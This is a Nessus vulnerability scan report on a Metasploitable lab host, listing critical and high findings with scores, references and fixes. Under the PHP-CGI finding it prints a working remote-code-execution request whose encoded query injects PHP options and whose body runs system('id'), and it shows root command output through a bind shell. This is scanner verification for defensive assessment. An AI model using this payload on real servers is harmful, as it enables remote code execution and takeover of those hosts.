tenable® Nessus

# meta

Report generated by Tenable Nessus™ Tue, 23 Sep 2025 21:39:43 CEST

TABLE OF CONTENTS

## Vulnerabilities by Host

# Vulnerabilities by Host

# 192.168.50.101

| | | | | |
|---|---|---|---|---|
| 28 | 95 | 147 | 22 | 244 |
| CRITICAL | HIGH | MEDIUM | LOW | INFO |

### Scan Information

| | |
|---|---|
| Start time: | Tue Sep 23 20:32:00 2025 |
| End time: | Tue Sep 23 21:39:43 2025 |

### Host Information

| | |
|---|---|
| Netbios Name: | METASPLOITABLE |
| IP: | 192.168.50.101 |
| OS: | Linux Kernel 2.6.24-16-server on Ubuntu 8.04 |

## Vulnerabilities

### 70728 - Apache PHP-CGI Remote Code Execution

#### Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

#### Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

#### Risk Factor

High

#### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

#### CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

VPR Score

8.9

EPSS Score

0.9429

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

| | |
|---|---|
| BID | 53388 |
| CVE | CVE-2012-1823 |
| CVE | CVE-2012-2311 |
| CVE | CVE-2012-2335 |
| CVE | CVE-2012-2336 |
| XREF | CERT:520827 |
| XREF | EDB-ID:29290 |
| XREF | EDB-ID:29316 |
| XREF | CISA-KNOWN-EXPLOITED:2022/04/15 |

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :

------------------------------ snip ------------------------------
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+
%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F
%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F
%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E
```

```
%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F
%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F
%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.50.101
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1758656071';
 system('id'); die; ?>
------------------------------ snip ------------------------------
```

## 171340 - Apache Tomcat SEoL (<= 5.5.x)

### Synopsis

An unsupported version of Apache Tomcat is installed on the remote host.

### Description

According to its version, Apache Tomcat is less than or equal to 5.5.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

### See Also

https://tomcat.apache.org/tomcat-55-eol.html

### Solution

Upgrade to a version of Apache Tomcat that is currently supported.

### Risk Factor

Critical

### CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2023/02/10, Modified: 2024/05/06

### Plugin Output

tcp/8180/www

```
URL                                     : http://192.168.50.101:8180/
Installed version                       : 5.5
Security End of Life                    : September 30, 2012
Time since Security End of Life (Est.)  : >= 12 years
```

## 51988 - Bind Shell Backdoor Detection

### Synopsis

The remote host may have been compromised.

### Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

### Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

### Risk Factor

Critical

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2011/02/15, Modified: 2022/04/11

### Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :



This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#

------------------------------ snip ------------------------------
```

## 32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

### Synopsis

The remote SSH host keys are weak.

### Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| XREF | CWE:310 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2008/05/14, Modified: 2024/07/24

## Plugin Output

tcp/22/ssh

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| XREF | CWE:310 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

## Plugin Output

tcp/25/smtp

## 32321 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)

### Synopsis

The remote SSL certificate uses a weak key.

### Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

### See Also

http://www.nessus.org/u?107f9bdc

http://www.nessus.org/u?f14f4224

### Solution

Consider all cryptographic material generated on the remote host to be guessable. In particuliar, all SSH, SSL and OpenVPN key material should be re-generated.

### Risk Factor

Critical

### VPR Score

5.1

### EPSS Score

0.0165

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 29179 |
| CVE | CVE-2008-0166 |
| XREF | CWE:310 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

## Plugin Output

tcp/5432/postgresql

## 20007 - SSL Version 2 and 3 Protocol Detection

### Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

### Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.

- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

### See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

### Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

### Risk Factor

Critical

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

### Plugin Output

tcp/25/smtp

```
- SSLv2 is enabled and the server supports at least one cipher.

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC2-CBC-MD5                                RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                                    RSA(512)      RSA      RC4(40)                MD5
       export

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-MD5                                   RSA           RSA      3DES-CBC(168)          MD5

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RC4-MD5                                        RSA           RSA      RC4(128)               MD5

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}

- SSLv3 is enabled and the server supports at least one cipher.
Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3


  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-EDH-RSA-DES-CBC-SHA                        DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA                            DH            RSA      DES-CBC(56)            SHA
 [...]
```

## 20007 - SSL Version 2 and 3 Protocol Detection

### Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

### Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.

- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

### See Also

https://www.schneier.com/academic/paperfiles/paper-ssl.pdf

http://www.nessus.org/u?b06c7e95

http://www.nessus.org/u?247c4540

https://www.openssl.org/~bodo/ssl-poodle.pdf

http://www.nessus.org/u?5d15ba70

https://www.imperialviolet.org/2014/10/14/poodle.html

https://tools.ietf.org/html/rfc7507

https://tools.ietf.org/html/rfc7568

### Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

### Risk Factor

Critical

### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

## CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

## Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

## Plugin Output

tcp/5432/postgresql

```

- SSLv3 is enabled and the server supports at least one cipher.
Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3


  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA                           DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                                   RSA           RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA                             DH            RSA      AES-CBC(128)
 SHA1
    DHE-RSA-AES256-SHA                             DH            RSA      AES-CBC(256)
 SHA1
    AES128-SHA                                     RSA           RSA      AES-CBC(128)
 SHA1
    AES256-SHA                                     RSA           RSA      AES-CBC(256)
 SHA1
    RC4-SHA                                        RSA           RSA      RC4(128)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 32432 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : gnutls12, gnutls13 vulnerabilities (USN-613-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Multiple flaws were discovered in the connection handling of GnuTLS. A remote attacker could exploit this to crash applications linked against GnuTLS, or possibly execute arbitrary code with permissions of the application's user.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/613-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.2388

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2008-1948 |
| CVE | CVE-2008-1949 |
| CVE | CVE-2008-1950 |
| XREF | USN:613-1 |
| XREF | CWE:189 |
| XREF | CWE:287 |

## Plugin Information

Published: 2008/05/22, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.1
```

## 37936 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : libxml2 vulnerabilities (USN-644-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that libxml2 did not correctly handle long entity names. If a user were tricked into processing a specially crafted XML document, a remote attacker could execute arbitrary code with user privileges or cause the application linked against libxml2 to crash, leading to a denial of service. (CVE-2008-3529)

USN-640-1 fixed vulnerabilities in libxml2. When processing extremely large XML documents with valid entities, it was possible to incorrectly trigger the newly added vulnerability protections. This update fixes the problem. (CVE-2008-3281).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/644-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.5886

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 30783 |
| CVE | CVE-2008-3281 |
| CVE | CVE-2008-3529 |
| XREF | USN:644-1 |
| XREF | CWE:119 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.2
```

## 33531 - Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : linux, linux-source-2.6.15/20/22 vulnerabilities (USN-625-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Dirk Nehring discovered that the IPsec protocol stack did not correctly handle fragmented ESP packets. A remote attacker could exploit this to crash the system, leading to a denial of service.

(CVE-2007-6282)

Johannes Bauer discovered that the 64bit kernel did not correctly handle hrtimer updates. A local attacker could request a large expiration value and cause the system to hang, leading to a denial of service. (CVE-2007-6712)

Tavis Ormandy discovered that the ia32 emulation under 64bit kernels did not fully clear uninitialized data. A local attacker could read private kernel memory, leading to a loss of privacy. (CVE-2008-0598)

Jan Kratochvil discovered that PTRACE did not correctly handle certain calls when running under 64bit kernels. A local attacker could exploit this to crash the system, leading to a denial of service.

(CVE-2008-1615)

Wei Wang discovered that the ASN.1 decoding routines in CIFS and SNMP NAT did not correctly handle certain length values. Remote attackers could exploit this to execute arbitrary code or crash the system.

(CVE-2008-1673)

Paul Marks discovered that the SIT interfaces did not correctly manage allocated memory. A remote attacker could exploit this to fill all available memory, leading to a denial of service. (CVE-2008-2136)

David Miller and Jan Lieskovsky discovered that the Sparc kernel did not correctly range-check memory regions allocated with mmap. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2008-2137)

The sys_utimensat system call did not correctly check file permissions in certain situations. A local attacker could exploit this to modify the file times of arbitrary files which could lead to a denial of service. (CVE-2008-2148)

Brandon Edwards discovered that the DCCP system in the kernel did not correctly check feature lengths. A remote attacker could exploit this to execute arbitrary code. (CVE-2008-2358)

A race condition was discovered between ptrace and utrace in the kernel. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2008-2365)

The copy_to_user routine in the kernel did not correctly clear memory destination addresses when running on 64bit kernels. A local attacker could exploit this to gain access to sensitive kernel memory, leading to a loss of privacy. (CVE-2008-2729)

The PPP over L2TP routines in the kernel did not correctly handle certain messages. A remote attacker could send a specially crafted packet that could crash the system or execute arbitrary code.

(CVE-2008-2750)

Gabriel Campana discovered that SCTP routines did not correctly check for large addresses. A local user could exploit this to allocate all available memory, leading to a denial of service. (CVE-2008-2826).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/625-1/

## Solution

Update the affected packages.

## Risk Factor

Critical

## VPR Score

5.9

## EPSS Score

0.1836

## CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 29081 |
| BID | 29086 |
| BID | 29235 |
| BID | 29589 |
| BID | 29603 |
| BID | 29747 |
| BID | 29942 |
| CVE | CVE-2007-6282 |
| CVE | CVE-2007-6712 |
| CVE | CVE-2008-0598 |
| CVE | CVE-2008-1615 |

| | |
|---|---|
| CVE | CVE-2008-1673 |
| CVE | CVE-2008-2136 |
| CVE | CVE-2008-2137 |
| CVE | CVE-2008-2148 |
| CVE | CVE-2008-2358 |
| CVE | CVE-2008-2365 |
| CVE | CVE-2008-2729 |
| CVE | CVE-2008-2750 |
| CVE | CVE-2008-2826 |
| XREF | USN:625-1 |
| XREF | CWE:16 |
| XREF | CWE:20 |
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:362 |
| XREF | CWE:399 |

## Plugin Information

Published: 2008/07/17, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-19.36


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 36916 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : libxml2 vulnerabilities (USN-673-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Drew Yao discovered that libxml2 did not correctly handle certain corrupt XML documents. If a user or automated system were tricked into processing a malicious XML document, a remote attacker could cause applications linked against libxml2 to enter an infinite loop, leading to a denial of service. (CVE-2008-4225)

Drew Yao discovered that libxml2 did not correctly handle large memory allocations. If a user or automated system were tricked into processing a very large XML document, a remote attacker could cause applications linked against libxml2 to crash, leading to a denial of service. (CVE-2008-4226).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/673-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

5.9

### EPSS Score

0.0361

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2008-4225 |
| CVE | CVE-2008-4226 |
| XREF | USN:673-1 |

| | |
|---|---|
| XREF | CWE:189 |
| XREF | CWE:399 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libxml2_2.6.31.dfsg-2ubuntu1
  - Fixed package     : libxml2_2.6.31.dfsg-2ubuntu1.3
```

## 36454 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS : linux-source-2.6.15/22, linux vulnerabilities (USN-714-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Hugo Dias discovered that the ATM subsystem did not correctly manage socket counts. A local attacker could exploit this to cause a system hang, leading to a denial of service. (CVE-2008-5079)

It was discovered that the libertas wireless driver did not correctly handle beacon and probe responses. A physically near-by attacker could generate specially crafted wireless network traffic and cause a denial of service. Ubuntu 6.06 was not affected. (CVE-2008-5134)

It was discovered that the inotify subsystem contained watch removal race conditions. A local attacker could exploit this to crash the system, leading to a denial of service. (CVE-2008-5182)

Dann Frazier discovered that in certain situations sendmsg did not correctly release allocated memory. A local attacker could exploit this to force the system to run out of free memory, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2008-5300)

It was discovered that the ATA subsystem did not correctly set timeouts. A local attacker could exploit this to cause a system hang, leading to a denial of service. (CVE-2008-5700)

It was discovered that the ib700 watchdog timer did not correctly check buffer sizes. A local attacker could send a specially crafted ioctl to the device to cause a system crash, leading to a denial of service. (CVE-2008-5702)

It was discovered that in certain situations the network scheduler did not correctly handle very large levels of traffic. A local attacker could produce a high volume of UDP traffic resulting in a system hang, leading to a denial of service. Ubuntu 8.04 was not affected.

(CVE-2008-5713).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/714-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.0282

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 32676 |
| CVE | CVE-2008-5079 |
| CVE | CVE-2008-5134 |
| CVE | CVE-2008-5182 |
| CVE | CVE-2008-5300 |
| CVE | CVE-2008-5700 |
| CVE | CVE-2008-5702 |
| CVE | CVE-2008-5713 |
| XREF | USN:714-1 |
| XREF | CWE:119 |
| XREF | CWE:362 |
| XREF | CWE:399 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

### Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-23.48


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 44399 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : linux, linux-source-2.6.15 vulnerabilities (USN-894-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Amerigo Wang and Eric Sesterhenn discovered that the HFS and ext4 filesystems did not correctly check certain disk structures. If a user were tricked into mounting a specially crafted filesystem, a remote attacker could crash the system or gain root privileges.

(CVE-2009-4020, CVE-2009-4308)

It was discovered that FUSE did not correctly check certain requests.

A local attacker with access to FUSE mounts could exploit this to crash the system or possibly gain root privileges. Ubuntu 9.10 was not affected. (CVE-2009-4021)

It was discovered that KVM did not correctly decode certain guest instructions. A local attacker in a guest could exploit this to trigger high scheduling latency in the host, leading to a denial of service. Ubuntu 6.06 was not affected. (CVE-2009-4031)

It was discovered that the OHCI fireware driver did not correctly handle certain ioctls. A local attacker could exploit this to crash the system, or possibly gain root privileges. Ubuntu 6.06 was not affected. (CVE-2009-4138)

Tavis Ormandy discovered that the kernel did not correctly handle O_ASYNC on locked files. A local attacker could exploit this to gain root privileges. Only Ubuntu 9.04 and 9.10 were affected.

(CVE-2009-4141)

Neil Horman and Eugene Teo discovered that the e1000 and e1000e network drivers did not correctly check the size of Ethernet frames.

An attacker on the local network could send specially crafted traffic to bypass packet filters, crash the system, or possibly gain root privileges. (CVE-2009-4536, CVE-2009-4538)

It was discovered that 'print-fatal-signals' reporting could show arbitrary kernel memory contents. A local attacker could exploit this, leading to a loss of privacy. By default this is disabled in Ubuntu and did not affect Ubuntu 6.06. (CVE-2010-0003)

Olli Jarva and Tuomo Untinen discovered that IPv6 did not correctly handle jumbo frames. A remote attacker could exploit this to crash the system, leading to a denial of service. Only Ubuntu 9.04 and 9.10 were affected. (CVE-2010-0006)

Florian Westphal discovered that bridging netfilter rules could be modified by unprivileged users. A local attacker could disrupt network traffic, leading to a denial of service. (CVE-2010-0007)

Al Viro discovered that certain mremap operations could leak kernel memory. A local attacker could exploit this to consume all available memory, leading to a denial of service. (CVE-2010-0291).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

## See Also

https://usn.ubuntu.com/894-1/

## Solution

Update the affected packages.

## Risk Factor

Critical

## VPR Score

6.7

## EPSS Score

0.0387

## CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

## CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 37069 |
| BID | 37339 |
| BID | 37906 |
| CVE | CVE-2009-4020 |
| CVE | CVE-2009-4021 |
| CVE | CVE-2009-4031 |
| CVE | CVE-2009-4138 |
| CVE | CVE-2009-4141 |
| CVE | CVE-2009-4308 |
| CVE | CVE-2009-4536 |
| CVE | CVE-2009-4538 |
| CVE | CVE-2010-0003 |
| CVE | CVE-2010-0006 |
| CVE | CVE-2010-0007 |
| CVE | CVE-2010-0291 |
| XREF | USN:894-1 |
| XREF | CWE:20 |

| | |
|---|---|
| XREF | CWE:119 |
| XREF | CWE:189 |
| XREF | CWE:200 |
| XREF | CWE:264 |
| XREF | CWE:399 |

## Plugin Information

Published: 2010/02/05, Modified: 2019/09/19

## Plugin Output

tcp/0

```

  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-27.65


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 39800 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : dhcp3 vulnerability (USN-803-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that the DHCP client as included in dhcp3 did not verify the length of certain option fields when processing a response from an IPv4 dhcp server. If a user running Ubuntu 6.06 LTS or 8.04 LTS connected to a malicious dhcp server, a remote attacker could cause a denial of service or execute arbitrary code as the user invoking the program, typically the 'dhcp' user. For users running Ubuntu 8.10 or 9.04, a remote attacker should only be able to cause a denial of service in the DHCP client. In Ubuntu 9.04, attackers would also be isolated by the AppArmor dhclient3 profile.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/803-1/

### Solution

Update the affected packages.

### Risk Factor

Critical

### VPR Score

6.7

### EPSS Score

0.2813

### CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

### References

| | |
|---|---|
| CVE | CVE-2009-0692 |
| XREF | USN:803-1 |
